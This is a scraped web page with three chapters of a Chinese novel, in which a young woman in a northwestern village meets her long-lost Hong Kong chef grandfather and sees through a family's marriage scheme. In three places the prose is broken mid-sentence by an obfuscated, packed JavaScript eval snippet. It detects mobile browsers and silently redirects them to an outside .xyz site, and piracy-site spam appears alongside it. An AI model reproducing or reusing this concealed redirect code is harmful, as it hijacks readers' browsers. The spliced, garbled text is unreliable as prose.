《香江大厨[八零]》 第 7 章 各有心思 第7章各有心思 岳宁刚刚见到爷爷，固然她认为爷爷不会像罗家母子一样带着那种目的来，不过爷爷对爸爸有多少感情不得而知。这么多年了，人家在港城也有了家庭，对自己这个没有相处过的孙女，现在有亏欠之情，真的在同一屋檐下生活了，只怕没多久就有矛盾了。所谓三年不上门，是亲也不亲。还是走一步看一步再说。 祖孙俩心里各有计较，两人话不多，倒是他们前面，北京来的同志陪着那个高个子年轻人说话，北京的那位同志特别热情，介绍他们这里的情况，什么属于上古时期九州之一的雍州，什么汉代边塞，唐代边疆。 那个年轻人还附和了一句：“早就想体味‘月明出天山，苍茫云海间’的雄浑苍茫。” 岳宁不禁想，这个年轻人如果是爷爷的儿子，领导同志不会围着他转吧？ 一个大队由几个生产队组成，偏远的生产队，甚至要翻过山头，岳宁家离开大队办公室还算近，这路却不好走，夜里哪怕是打了手电筒，上坡下坡也不方便，有些路上还有小沟，张丽芬一脚跨空，岳宁眼疾手快，伸手拉了她一把：“伯母，当心！” 张丽芬拍了拍胸口：“还好，还好。” 岳宁了拉了她一把，张丽芬索性陪在他们身边，她打破了祖孙俩之间的沉默，张丽芬问：“华叔，您来得可真快啊！” 岳宝华还没时间问他们母子怎么来了，刚好问：“你们怎么来了？” 张丽芬脸上挂着笑：“上次您走了之后，阿昌去问了，说是港城的人，回乡方便，但是要来西北却很难，而且要把宁宁从西北直接带到港城更难。阿昌就想办法把宁宁从西北带回粤城，从粤城再去港城就方便了。我们哪里想到，您本事这么大，能跑来西北。” “托乔……叔的福，也烦劳君贤陪我跑一趟。”岳宝华说，师侄夫妻俩帮他，是想要借着这份情，让他带他们儿子去港城吧？ 乔君贤转头说：“华叔，哪有烦劳之说？要不是爷爷腿脚不便，他也想来西北。我陪您过来，也是替他重走这条路。” “乔老先生来过西北？”县里的同志问。 “乔老先生到过延安。”北京来的同志微笑着说起，“抗战的时候，华侨领袖陈先生到访延安后，南洋华侨踊跃给边 区捐赠物资通过滇缅公路到重庆。重庆政府发动皖南事变后对边区进行封锁。乔家出身宁波江阴会战乔家捐出轮船沉船长江口阻止日军沿江而上。他们家成立了车队支持企业内迁与重庆政府保持了良好的关系。南洋华侨找到了乔家为了保证物资能到延安乔老先生从港城赶来以乔家少东的身份押运物资枪林弹雨过重重哨卡日夜兼程捐赠物资送到延安。” “原来是这样啊？这是为国家做了大贡献的啊！”县里的同志说。 “可不是？而且啊！乔老先生在抗美援朝的时候英美封锁他冒了很大的风险给国内运送物资。” 岳宁这下清楚了原来这位是爱国富商的孙子难怪了。 “港城船王乔启明？”张丽芬悄悄问。 “对就是乔老先生。”北京的同志应和。 张丽芬惊叹一声：“哇！华叔你居然能跟这样的大人物做朋友？” 她这样一惊一乍让让岳宝华很尴尬。 要不是为了能早日见到孙女乔家豪富归豪富岳宝华也没想从乔老板那里占什么便宜。 乔老板喜欢他的手艺 张丽芬惊讶的表情让岳宝华有些尴尬乔老板这次确实帮了他大忙然乔家是港城的富豪自己只是一个酒楼的老板实力上犹如山脚到山顶的距离。 纵然乔老板让岳宝华说自己是他的至交好友岳宝华也不敢高攀更不想让张丽芬有过多的联想。 乔君贤回过头：“嗯！二十多年的交情了。” “哎呀！华叔你上次回粤城的时候怎么没说认识这么大的老板？害得玉兴瞎琢磨” 岳宝华不知道怎么接她的话茬好在大队办公室已经在眼前了。 大队办公室是小杨沟唯一的一溜儿的砖瓦房手电筒照到墙上上头是白底红字的标语：“不忘鼠疫害坚决灭老鼠” 妇女主任李巧妹迎过来：“这边这边。” 一间屋子里点了五盏煤油灯很亮堂了。太亮堂了照得桌上两大盘的炒洋芋饼饼异常清晰异常寒酸。 京城的同志嘴角垮了看向县里的同志县里的同志 头上冒汗看向杨福根，知道这是小山村，知道来得着急，可也没这么待客的吧？ 杨福根连忙拉过李巧妹：“你家大年呢？” 李巧妹的男人杨大年是个村厨，大队里谁家有个婚丧嫁娶，都会请他烧饭，杨福根嘱咐了李巧妹，叫她男人来做饭。 李巧妹尴尬地笑了：“大年去他姑家了。” 杨福根一听坏了，问：“这是谁做的？” “我烧的。” 那？这？杨福根深吸了一口气，让自己稳稳心神，领导们都在呢！他说：“不是跟你说去我家杀只鸡吗？” “嫂子说要留着下蛋，给你儿媳妇坐月子吃。”李巧妹轻声说。 “这个婆娘！”杨福根气得冒火，现在去杀鸡也来不及了，自家婆娘就知道拖他后腿。 “这是炒洋芋饼饼吗？”一个声音响起，是那个跟来的年轻人。 “乔先生知道洋芋饼饼？”北京那位同志很惊奇地问。 乔君贤看向岳宝华，笑着说：“我爷爷说这人世间最好味的有两样，一个是您蒸的鱼，那是他在公海上，差点被海盗劫持，死里逃生后，吃的一顿饭。另外一个是西北的炒洋芋饼饼，是他一路忍饥挨饿，到了西北，大嫂子端出来一碗洋芋饼饼。您的鱼他时常能吃到，但是洋芋饼饼，他已经快四十年没吃到了。我今天是有口福，可以吃到他心心念念的洋芋饼饼。” 不知道乔君贤是有意还是无意，总之他这位贵客如此说，也算是给了他们台阶。 北京的同志招呼：“来来来，入乡随俗，尝尝本地的味道。” 大家一起坐下，李巧妹拿了碗给大家打炒洋芋饼，岳宁说：“婶子，我一小口就好了，刚才在家里已经吃过了。” 罗国强说：“我们俩也是。” 李巧妹给他们三个打了一小勺，其他人都是满满一大碗，好东西没有，洋芋饼饼管够。 岳宁拿起筷子夹了一筷洋芋饼饼塞进嘴里，那一刻她庆幸自己只要了一点。 巧妹婶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912429|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人是村厨，别人家都是女人当灶，就他们家平时都是大年叔做饭。 巧妹婶的炒洋芋饼饼，用料扎实，面粉加多了，洋芋饼饼做得很干，盐和辣子都下手狠，吃在嘴巴里发苦。要是他们这里庄稼人，平时下地干活，出 汗多，口味偏重，这倒也没什么，粤城人口味清淡，恐怕就不适应了。 果然，罗家母子和岳宝华都吃得很慢，倒是那个乔先生一口接一口。 岳宁站起来进厨房，李巧妹坐在厨房间：“岳宁，你怎么来了？ “给大家倒口茶。 “哎呦，我怎么忘记倒茶了。 李巧妹去拿了茶杯放在灶台上，岳宁去墙角拿热水瓶。 岳宁要冲茶，见茶杯里的茶叶梗堪比火柴梗，她跟正在放茶叶的李巧妹说：“直接倒白开水，兑点凉白开。 “不放茶叶？ “晚上，喝了茶睡不好。岳宁找了个借口。 李巧妹恍然：“还是你想得周全。 两人倒了水，端了出去，岳宁听见一声：“嗝…… 张丽芬正在给儿子拍背，岳宁先把水给罗国强：“国强哥，喝口水缓缓。 罗国强接过水连喝几口。 岳宁给岳宝华送上水，岳宝华也立马喝水。 反倒是乔君贤，喝了一口，继续不紧不慢地吃洋芋饼饼，岳宁稀罕，这位居然吃得下去？ 岳宝华端着杯子喝了一口水，侧头跟岳宁说：“宁宁，刚才陈主任说，他这两天帮你把本地的手续办了，后天我们一起回北京，跟乔老先生汇合。我们再去粤城安葬你爸爸，你要在粤城待些日子，我先回港帮你办去港城定居的手续。 张丽芬听见粤城，立马接话：“华叔放心，宁宁回了粤城，那就是回家了，住我们家里，我们会照顾她的。 宁宁岁数还小，张丽芬心里有小九九。岳宝华不希望孙女跟张丽芬过多接触，场面上他也不好说什么，他说：“到时候再说。 张丽芬开了个头，就收不住了：“宁宁啊！等你回了粤城，让你国强哥哥给你做啫啫煲、豉油鸡，还有啊！你国强哥哥做的拆鱼羹，那是得了你罗爷爷的真传。 这个张丽芬真是打得一手好算盘，岳宁倒是想要当场拆穿，就是这个场合，刚才田枣花和春梅婶闹了这么一出，自己再阴阳怪气一番，很多人压根去认真分辨里面的是非对错，只会各打五十大板，然后把占理的一方也归入性格别扭难搞的一类。 现在张丽芬再提，岳宁琢磨怎么回她，她边上一个声音响起：“拆鱼羹？ “是啊！乔先生吃过吗？张丽芬见乔家这位少爷接话，很兴奋。 “当然啦！华叔的拆鱼羹在港城都是一绝。我每次放假回港城，第一时间就去宝华楼，吃华叔做的拆鱼羹。 “是吗？华叔和国强的爷爷是福运楼最好的厨师，拆鱼羹是福运楼的招牌菜之一。有机会得让国强给你做一道拆鱼羹，看看这孩子学了他爷爷几分功力。可惜啊！国强的爷爷受牵连……张丽芬停顿了一下，“不说了不说了，现在好了，国强在爷爷那里没学全的，可以去他岳爷爷那里学。 这是要让爷爷当场应下带罗国强去港城？ 作者有话要说 第 8 章 祖孙单独相处 第8章祖孙单独相处 岳宁不想让爷爷冒然答应让罗国强也去港城，她转头问岳宝华：“爷爷，后天就走吗？这么快？” 张丽芬逮住机会就说让罗国强跟自己去港城，岳宝华心里不高兴。然而，乔家跟自己这点交情，乔启明都愿意帮这个大忙。从张丽芬的嘴里，他们岳家是欠了罗家大情分的，要是不答应，别人怎么想无所谓，乔君贤怎么想？乔老板怎么想？ 他正在为难之际，孙女开口转移话题，岳宝华松了一口气，先打岔过去再说。 “我这次是老朋友帮忙，才能找到你。”岳宝华看向北京来的同志说，“给内地的领导添了许多麻烦，辛苦陈先生陪我一路颠簸。” “岳老先生不用客气，乔老先生拜托的事，上面领导说了，这也是为老朋友做一点小事。” 听到这里，岳宁知道了，自己是属于特事特办，是爷爷朋友的人情。 岳宝华问岳宁：“宁宁，你不方便吗？” “也不是，就是很突然。”岳宁想走，不过这次爷爷过来，小杨沟村压根就没什么准备，只怕是他们走了之后，福根**要吃瓜落。 岳宁转过头对岳宝华说：“我五岁就跟爸爸来了小杨家沟，我们父女俩都蒙小杨家沟的人照顾，尤其是福根叔，福根叔回来当**之后，他帮助爸爸学习文件，给爸爸修改思想报告，给了爸爸很多帮助。还有春梅婶，就是刚才吵到这位同志面前的那位女同志。小时候爸爸要出工，把我送到春梅婶家里，让春梅婶的婆婆带我，爸爸不会做衣服，我的衣服鞋子都是春梅婶做的。我上小学了，放学回来，爸爸还在赚工分，我就跟着春梅婶家的哥哥姐姐一起割羊草。爸爸生病欠下了两年的工分，他死后，我一个出身不好的孤女，独自生活。要是放在其他地方，不管我愿不愿，都可能被逼着嫁给傻子。是福根叔再三强调，婚姻自由，不能违背妇女同志的意愿。也是春梅婶为了我跟田婶子吵。那些知青临走都要买两斤糖，请关系好的乡邻吃顿饭。我就这么走了？我……” 下飞机，坐火车，到市里，再一路山路到县里，然后翻山越岭到了小杨沟，再看到岳宁那间紧挨着羊圈的小屋，越来越穷，穷到让北京陪同来的同志有种无法交代的窘迫。 那个傻子的出现，更是 证明小姑娘在这里的生活很艰难。 现在小姑娘在为当地大队**说话也在为当地村民说话这孩子不希望小杨沟的人被怪罪。 他接话：“是啊！小杨沟虽然穷困但是民风淳朴。” “是爷爷太心急明天爷爷跟你一起去道谢。”岳宝华又问那位北京来的同志“陈先生我想买一些东西送给照顾宁宁的老乡不知道该怎么买？” “外汇券得在涉外商店才能用就北京、上海和粤城这样的大城市有 说全网首发无弹窗免费阅读ｃａixs?(请来才小 说 看最新章节 完整章节)您手里的票证可以在这里用但是也买不了多少。” “不用不用！”福根**摆手说“我也没做什么？小岳人很好他出工积极脏活累活抢着干。岳宁这个孩子也好她爸没了之后她也是一直努力要把欠下的工分给还了。我这里肯定不要都是我应该做的。” 福根**又跟岳宁说：“你春梅婶那里也不着急一时半会儿。你先走了再说。” “对对！这些都是旁枝末节的小事。以后有的是机会。”陈同志应和说道。 众人都在说这些张丽芬一时间无法插嘴她站起来走到岳宁身边低头悄悄说：“宁宁我想去卫生间。” “我陪您去。”岳宁站起来问李巧妹要了一盏煤油灯提着煤油灯带张丽芬去茅房。 才走出房间到了偏僻的地方张丽芬就停住了脚步：“宁宁我有话跟你说。” 原来不是想去卫生间？岳宁回头站定看着张丽芬。 张丽芬过来拉着她的手问：“你罗爷爷对你和你爸爸好不好？” 岳宁抽回手不想和她绕圈子说：“伯母有话就直说。” 张丽芬看着她说：“能不能只跟你爷爷说我们母子俩是来看你的？不要提结婚的事。” “为什么？”岳宁提着煤油灯月光照不到黄色的火光中她嘴角挂着笑眼神却冷淡。 被岳宁盯着看张丽芬心跳如击鼓这哪像一个十八岁的姑娘？ 张丽芬稳定心神组织语言：“宁宁让你嫁给国强我们确实有私心想让国强去港城但是对你也没坏处。你爷爷在港城开酒楼港城**多看不太起内地人国强是福运楼这一代里最好的厨师。等你去了港城你就知道了哪怕有你爷爷在 你手里没点本事还是一个姑娘家家的想要在那里立足依然很难。你不想和国强结婚那他和你去港城他在酒楼做厨师你也有个依靠。” “会烧菜就能给人做依靠了？那我靠自己就足够了。”岳宁提灯笑着往回走。 岳宁转身张丽芬跺脚追上：“宁宁你以为酒楼烧菜就是在家做菜吗？” 张丽芬想起刚才岳宁做的土豆饼要比这会儿吃的炒洋芋饼饼好吃太多她笑了：“你能把土豆烧出花儿来有用吗？你会发海参、花胶、鲍鱼吗？你会卤狮头鹅吗？你会片鱼生吗？” “爷爷！”岳宁叫了一声。 张丽芬看见岳宝华从门口走出来。 岳宝华看着张丽芬沉着一张脸：“丽芬宁宁为什么要会发海参和鲍鱼？为什么要会卤狮头鹅？” “华叔我的意思是她……” “她想吃我会给她做用不着你为她操心。”岳宝华看向岳宁“宁宁我跟你回去住你家里我想陪陪你爸爸。” 福根**小跑出来：“岳宁我们安排大家住村小学你爷爷说要住你家。” “行啊！”他们来得太快岳宁都没时间了解清楚状况也想跟爷爷聊聊。 杨福根替岳宝华提了行李：“老先生我送你们回去。” 张丽芬见岳宝华要走追出来：“华叔……” 岳宝华回头看她很不客气地说：“有什么明天再说。” 三人走出大队办公室走在黄土路上银月如钩倦鸟归巢夜枭发出咕噜噜的声音。杨福根的手电筒照出了一小段路前头蹿过一只狐狸一双灯泡似的绿眼睛 岳宝华见孙女脚步如常暗自定了定神跟上两人的脚步。 “岳宁今天可真的谢谢你了！”杨福根叹了一声。 “福根叔我说的都是实话。您是为小杨沟大队干事的人也是很有人情味的**。我和爸爸都感激您！”她想了一下“还有您回去别怨婶子在小杨家沟吃饱肚皮才是最大的事不当家不知柴米贵要管着一家子十几张嘴不容易。今天我伯母和哥哥来了之后我把这个月的油都用完了招待是招待了刚才我也犯愁后半个月没油的日子可怎么 过？婶子不肯拿东西出来也是人之常情。 杨福根笑：“你这孩子。 岳宁这个孩子自从她爸没了之后，就像换了一个人，一夜之间就长大了，讲道理，也不好惹，如果不是她自己，哪怕他们想要帮她，家家户户都缺一口吃的情况下，也有心无力。 在边上听两人说话的岳宝华说：“是啊！杨先生，我会跟陈先生说，你们已经尽力照顾他们父女了。 到了岳宁门口，杨福根把行李箱放下，杨福根看着岳宁：“唉！ “好。 杨福根打了手电筒离开。 岳宁推开了门，借着月光摸到了火柴，点了煤油灯。 祖孙俩进屋，岳宁麻利地把小桌上的碗筷收了：“爷爷，您先坐会儿，我烧水。 岳宝华看着孙女引柴烧水，不过短短的一顿饭的时间，他心里有太多安慰，孩子聪慧善良，再看这个家，又见到儿子的照片，他眼睛再次热了起来，过去拿了儿子的照片，坐在炕上，就着油灯仔细看。 岳宁添了一块木柴，把碗筷洗了，再出门去隔壁羊圈里抱了两捆干草进来，岳宝华抬头：“宁宁，这是？ 岳宁把干草放在门后：“爷爷，我打地铺，等下您睡炕上。 “我睡地上就好，你睡炕上。岳宝华说。 “泥地，凹凸不平。您年纪大，会腰酸背痛的，我平时放羊的时候，躺在山坡上打个盹儿，早就习惯了。 岳宁见水开了，她揭开锅盖，先把搪瓷茶杯灌满，再从瓦罐里拿出几颗枸杞子放进两个碗里，舀了一勺开水冲了进去，冲了两碗枸杞茶。端一碗茶过来放在小桌上：“爷爷，喝茶。 她再回到灶台前加了大半桶水进锅里，往灶膛里又添了一根木柴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912430|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岳宁转身过来，解开干草，把干草铺地上，从箱子里拿出床单和一床厚被子，在干草上铺床单。 岳宝华放下儿子的照片：“宁宁，刚才张丽芬跟你说什么？ 岳宁抚平了床单，跪坐在地上仰头：“这次罗伯母和国强哥来，说是他们一家子为了帮我回城，决定让国强哥娶我。 “什么？ 岳宁低头把被子展开来说：“知青下乡这么多年，已经有几千万知 青在寻找回城的机会……” 岳宁跟岳宝华说这件事的背景，讲要从农村弄一个人回城的难度。 “为了回城，很多人不管是歪路还是正路。所以他们说要带我回城，我觉得很暖心。”岳宁叹了一声，“我在做饭的时候，他们用粤语说起港城和酒楼，我就生了个心。吃饭的时候，罗伯母口口声声说为了我能回城，能过上好日子，所以让他们家做菜最好的国强哥来娶我，这样我就能作为家属，就能去福运楼做服务员。我当时就知道了这里有猫腻。您来了，她知道如意算盘落空，就借着上卫生间，把我叫出去，让我不要跟您说这事。” 岳宝华上次去粤城见到师侄一家，他就认为师侄人还算不错，他老婆口惠而实不至。没想到这一家子打了这么个如意算盘，那就不可是张丽芬一个人的主意了，是一家子商量定了。 趁着他没来，借着带宁宁回城的名义，让孙女跟罗国强结婚，到时候宁宁和罗国强已经成了夫妻。自己还能怎么办？肯定全力培养孙女婿，最后罗家吃他们家的绝户。 岳宝华一张脸黑得像锅底，他知道是世事无常，儿子的死不能怪罗家。 但是……当初他去港城，跟罗家有很大的关系。 当年抗战胜利后，福运楼老板打算去港城重开福运楼分店，按理说应该是师兄过去，毕竟师兄在三六年就去港城的福运楼做厨，对他来说熟门熟路。 不过师兄经历过港城被日本人占领的日子，他经历千辛万苦才回到粤城，说什么都不肯再去港城。老板就想到了自己，当时自己也不想去，志荣才六岁，他不想颠簸。师兄夫妇找到他，他们一家子确实上有老下有小，他们横说歹说，让他把志荣留在粤城，他们会照顾好志荣，等他那里安顿好了，再接志荣过去。 自己考虑再三，加上老板找他谈了几回，他决定去港城。 福运楼的老板大约与港城犯冲，港城战后来了各地的纨绔，派去管分号的二少爷交了狐朋**，染上了**，抽上了**，两年时间钱输光，生意兴隆的酒楼也卖了。 虽然新老板想让他留下，他婉拒了，想回粤城，跟孩子在一起。他回到粤城福运楼，师兄很紧张，生怕他挤了他福运楼大师傅的位子。不得不说师兄夫妻对志荣是真好，真的可以让他放心。 那时候他看到了港城的商机想自己闯一闯他跟师兄说了自己的想法师兄自然举双手赞成拍胸脯保证一定把自己的全部本事教给志荣。 从一开始他在街边摆排挡终于攒了钱盘了一家能摆下六张桌子的店铺下来他想把儿子接到港城。他回去看到十二岁的儿子进了福运楼跟在师兄身边学手艺师兄教得很尽心志荣是那帮学徒里学得最快。 他的铺子在旺角港城富人都在港岛旺角是平民**区他的铺子做的都是家常菜烧腊、炒薄壳、干炒牛河基本上没有机会处理燕鲍翅这种大菜能学到的东西有限。 师兄也劝他：“让志荣在福运楼多学几年把手艺学全了你那时候生意也该做大些了那时候过来不刚刚好？” 师兄这话也很有道理原本想着只要再过三年自己的铺子有点像样儿子也能出师了。他谢过师兄回到港城谁能想到国门说关就关他再也回不去了志荣也出不来了。 听到内地的只字片语他常常恨自己为什么当时要把儿子一个人留在国内？午夜梦回思绪纷乱的时候不免怨天尤人想着若非当初师兄不想去港城若是自己留在粤城他们父子都是厨子到现在定然是好好的。 上次回到粤城得知师兄受志荣牵连而病故他为自己小肚鸡肠而愧疚。这都是时局造成的就算是怨到个人头上那也是自己做的决定怨不得旁人 张丽芬心心念念要让大儿子去港城竟生出了这样的歹心。岳宝华咬牙切齿：“狼心狗肺的东西！” 作者有话要说 第 9 章 跟您回家 第9章跟您回家 岳宁站起来，把灶台上的那碗枸杞茶端了过来，坐炕上：“罗爷爷是实打实地照顾我们父女，他在世的时候，时常给我们寄东西。我小时候，每次看到罗爷爷来信，就知道能有新衣穿了。他们母子俩即便是居心不良，可总得看在罗爷爷的面子上，不要闹僵吧？” “怎么说呢？当初福运楼老板分家，大房留粤城，二房去港城，我和你罗爷爷是福运楼最好的两个厨子，二少爷要带我和你罗爷爷中的一个去港城开饭店，你罗爷爷一家老小，还有一个生病的老母，你罗爷爷不想去，他求我让他留下，我跟着二少爷去港城，大少爷稳重，二少爷却是个二世祖。福运楼在香港开分号，没两年就被二少爷输了个精光。那时候，我回了粤城，大少爷倒是希望我回来，只是你罗爷爷已经是福运楼的大师傅，我若是回来，怎么安排？再说，当时的港城，战后涌入了很多人，我自己想闯闯，就把你爸爸托付给了你罗爷爷，再次去了港城。不曾想……”岳宝华幽幽叹了一声，这些年他日日生活在悔恨当中，他摸着儿子的照片，更是心如刀绞。 摸着摸着他发现不对劲，宁宁没有接他的话茬，岳宝华抬头看孩子，见宁宁在沉思，他这才意识到自己说的话不妥。 自己心心念念孙女，就把心里话给孩子说了，却没想过，师兄给他们父女俩颇多的照顾，在孩子心里，师兄比自己更像爷爷。他这样说，多少有些推卸责任，忘恩负义。 “宁宁，我并不是说不帮国强，我的意思是……”这下岳宝华又不知道怎么说了，他跟宁宁是第一次见面，说的这些话，用不准确的形容就是交浅言深，现在还解释，就是越描越黑。 岳宁回神，刚刚她听岳宝华说福运楼老板大房二房，倒是提醒了她，爷爷去港城已经三十多年，大概率是在港城已经另外成了家，一下子陷入思绪中，倒是让爷爷误会了，她说：“爷爷，我跟您说罗伯母让国强哥娶我，就是让您知道她打的如意算盘。我也是这个意思，罗爷爷帮我们父女，是因为亏欠您也好，还是说他带爸爸带了那么多年有很深的感情，情分总归在，罗爷爷不在了，回报到他儿孙身上，也是应当应分。只是这个罗伯母，或者说他们夫妻心术不正。也得防着。不过，这个罗国强看上去，还行吧！他今天敢当 着爸爸的照片，逼着他妈说那些话…… 岳宁把罗国强说的那些话告诉了岳宝华，她说：“当然，也可能母子俩在我面前演戏。一个唱白脸，一个唱红脸。 孩子不仅理解他，还思虑这么周详，岳宝华心里安慰，他拿起碗喝了一口枸杞茶：“我还没吃到过这么甜的枸杞。 “本地的野生枸杞，我自己摘了晒的，确实很甜。岳宁也低头喝茶。 “这里有卖吗？我带几包回去。 “供销社里的枸杞比这个大，但是没这个好。不过兴许有好的，我不知道。来这里之后，我也就去过县城里两次。岳宁说道，“我去把罐子里的枸杞包起来，您带回去吧！ “好啊！岳宝华把剩下枸杞茶喝了。 岳宁去找了个装面粉的塑料袋，这里大家都拿报纸包吃的，她觉醒记忆后，再不讲究，也没办法用报纸包食物。所以但凡有这种装面粉，装饼干的塑料袋，她都会洗干净晾干了收起来，用来装野菜做的菜干，包一些吃食，她边倒枸杞边说：“爷爷，我想爸爸安葬之后就留在粤城，不去港城了。 “啊？岳宝华瞪大了眼睛看孙女。 岳宝华等了这么多年才等到国门开，儿子没了，只剩下这么点血脉，孩子说不去港城？ “爷爷，您能千里迢迢来找我，我很高兴。您和爸爸分开三十来年了，想来您在港城也另外有了家，有妻有子，我一个乡下来的孙女到港城，只怕原本好端端的一个家，多生了许多事来。与其到时候，各自不适应，还不如倒是我在粤城生活。您要是有空就来看看我，我有空也去港城看您，所谓远香近臭吗？岳宁扎紧塑料袋。 岳宝华刚才还暗叹孩子思虑周详，这会儿她多思多虑到，不愿意去港城，让他心里难受。若是自己真另外娶了老婆成了家，她这么做确实是站在他的角度为他着想，可她没想过她自己吗？ “你为我考虑，那你自己呢？你不想去港城？ 岳宁把枸杞放在箱子盖上。 在这个时代，港城对内地人来说有巨大的吸引力，她妈抛夫弃女，无惧惊涛骇浪，赌上性命游海而去。 然而对她这个上辈子成长在新世纪的人来说，港城固然不错，内地也是机会遍地。 她对自己的未来早有打算别看她爸爸是个厨子对读书有执念一直认为读书识字是做好任何工作的根本就是做厨子也要识字学校基本不上课的日子里也不许她落下功课。如果说她爸只能叨叨让她好好念书 有这么一尊神抓她学习就算她不恢复记忆参加高考考上大学也没问题。 七七年高考恢复她就报名参加高考那年高考没有宣布考分在七八年上半年分两批录取第一第二批都没自己的名字明明考题对她来说太简单了想来应该是政审的缘故。她倒也不着急打算七月再战天知道刚好碰上羊瘟他们这一片的羊群都发热烂嘴腹泻她跟本就跑不开。 今年已经她已经报名高考心里一直忐忑千万别再出幺蛾子了直到广播里传来全体脱帽她再也不需要为这方面的担心了。就希望羊也好好的自己也没病没灾顺顺利利。 她打算好了先读大学再走上辈子的路。 上辈子她被誉为承包海外华人及老外烧腊饭的女人。 在读研的那段时间里她跑了很多地方一直在思考一个问题口味上有普适性的广式烧腊为什么就不能像麻辣烫、牛肉面乃至沙县小吃这样有一个代表性的品牌？ 有人跟她说广式烧腊对食材要求高烧鹅要用清远黑棕鹅也有人说广式烧腊很考究师傅的手艺粤菜酒楼都会重金聘请烧腊名师很难做到统一。更有人说广式烧腊讲究的是人情味属于老广的独有情调。 这些都有道理但是剔除高端餐饮的顶级口味蕴含情怀的追求想要传播广工业化、标准化可复制是必须解决的问题。 她开始了创业她的烧腊品牌确实能打拿到投资后店面在全国铺开而为她带来巨额利润的是海外市场国内大酒楼的烧腊作为冷碟烧腊小作坊遍及街头她的店有名却也不至于是想吃烧腊就想到她的店而且激烈竞争下利润微薄。 而在国外她把烧腊饭做成了有确实有中国味道又适应外国人口味的中式 快餐，爆款单品叉烧饭，全球单日售卖超过两万份，后来更是推出了火爆，但是也被骂上热搜的玻璃脆皮烧鸭饭，网络热议，为了迎合当地人的口味，被改得面目全非的烧腊，还能说是老广味道吗？ 很多厨师踩着她的菜，卖起了正宗广东烧腊来，一时间广东烧腊在网上爆火，人们去大街小巷探寻正宗广府味道，顺带踩一下她的烧腊不正宗。 那又怎样？又不耽误她财源滚滚，公司估值节节攀升，挤入富豪榜。 钱赚多了，人膨胀了，面对网络说她不懂粤菜的声音，她不爽了，公开宣布要开一家高端粤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912431|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜酒楼，亲自坐镇，主打一个用心做菜。 网友坐等她开，要打她的脸，结果这家酒楼门庭若市，她不得不开启高端餐饮品牌线，在中国和东南亚等地区开了十八家门店。 后来，她又寻了山清水秀的地方，开了一家有门槛的餐厅，主打她亲手料理，往来都是各界名流大佬，他们要求越来越高，也将她带得对食材十分挑剔，没有好食材，她拒绝做菜，她越是挑剔，那帮子人越认为她的菜值得等。 不知道老天是不是认为她太不惜福，所以才让她来了西北，在龙趸、帝王蟹梦里才有，鲍鱼海参想都不要想，就连牛羊都是国家的地方。 好在改革开放了，有上辈子的经验，这辈子她总能起来的，起来了不能再像上辈子那样了，以后可别挑食材了。 言归正传，现在爷爷对爸爸心存亏欠之心，但是到了港城，他家里有老婆，有儿孙。她去港城，侵犯的是他们的利益。她这个没有相处过一天的孙女，怎么和几十年陪伴的老婆、儿孙相提并论？ 这点微薄的祖孙情，能耗上几天，与其到时候，情分全消，还不如不去。还是按照自己原定的计划，参加高考回城。 思虑停当，岳宁点头：“港城是好，可是我去了会给您添很多麻烦。现在改革开放了，去也有机会，我开个烧腊摊，应该能养活自己。” “你会做菜？”岳宝华有些意外。孩子五岁来到这里，这里物资匮乏，哪有机会给她学？ 看吧？她爸是个手艺很好的厨子，爷爷都不信她会做菜，别说是高考了，不解释也罢。 有一年过年，爸爸把她养了很久的鸭子给杀了，给她做烧鸭。她转在爸爸的裤腿边 看他调制脆皮水听他无奈地说这里很多香料没有等爸爸烤好了鸭子她当时信心满满说自己也会了。 她吃得狼吞虎咽见她喜欢她生日爸爸去买了一只鸭子这次她非要闹着她来做烧鸭爸爸拗不过她让她试试。 她一步步做下来居然分毫不差烧鸭出炉口感跟爸爸做的相差无几。爸爸抱着她哭说如果她在粤城如果她能好好学一定能成最好的厨子。 后来爸爸总是攒鸡蛋攒肉票教她做菜她总是能一次学会。 那时候她骄傲认为自己是天才记忆觉醒后 岳宁坚定地说：“会啊！爸爸说我做饭很有天赋一学就会。我原来就想回城后先摆摊卖烧腊饭或者猪脚饭赚了钱开小饭店。” 岳宝华见小丫头如此自信当年自己学厨十二岁拜师十八岁出师已经是几个师兄弟里算是天分高的厨师这个活那是一次次练出来的。一学就会？真是孩子话。不过想要学厨艺总是好的。 